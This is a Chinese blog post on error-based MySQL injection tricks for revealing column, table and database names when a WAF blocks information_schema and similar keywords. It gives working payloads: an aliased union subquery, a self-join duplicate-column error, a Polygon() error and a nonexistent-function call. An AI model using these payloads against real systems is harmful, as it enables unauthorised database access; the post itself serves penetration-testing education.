mysql注入可报错时爆表名、字段名、库名

已知某个地方有注入,waf拦截了information_schema、columns、tables、database、schema等关键字或函数,我们如何去获取当前表名,字段名和库名呢?

字段名

常见的做法有利用union搭配别名子查询,在不知道字段的时候进行注入。

例如:

select * from test where id =1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from test)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;

via : http://www.poluoluo.com/server/201706/547394.html

但是如果再进行限制,不允许使用union 该怎么破呢?

今天在翻阅Orange大大的博客,发现在11年hitcon中,有一个应用点类似下面:

select name from test where id=1 and (select * from (select * from test as a join test as b) as c);

可以看到mysql返回一个报错如下:

   

把当前表第一个字段成功爆出来了。

这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。

同时,可以利用using爆其他字段

select name from test where id=1 and (select * from (select * from test as a join test as b using(id)) as c);

表名

翻阅mysql的文档发现了一个非常好玩的函数

Polygon(ls1ls2, ...)

Polygon从多个LineString或WKB LineString参数 构造一个值 如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL

  如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。

  

库名

上面的方法已经可以爆出库名了,但是如果我无限限制payload长度又如何? 比如 四字节?

test it 🙂

select * from users where uid =1-a();

库名成功出来了,原理:一个库中存在不同的系统或自定义函数,如果函数不存在,他就会爆出这个库没有此函数。

  • 用支付宝打我
  • 用微信打我

7条回应:“mysql注入可报错时爆表名、字段名、库名”

  1. […] mysql注入可报错时爆表名、字段名、库名 […]

  2. […] mysql注入可报错时爆表名、字段名、库名 […]

  3. […] mysql注入可报错时爆表名、字段名、库名 […]

  4. […] MySqlMySQL False注入及技巧总结MySQL 注入攻击与防御sql注入学习总结 SQL注入防御与绕过的几种姿势MySQL偏门技巧mysql注入可报错时爆表名、字段名、库名高级SQL注入:混淆和绕过 […]

  5. […] mysql注入可报错时爆表名、字段名、库名 […]

  6. […] mysql注入可报错时爆表名、字段名、库名 […]

  7. […] mysql注入可报错时爆表名、字段名、库名 […]

发表评论

电子邮件地址不会被公开。 必填项已用*标注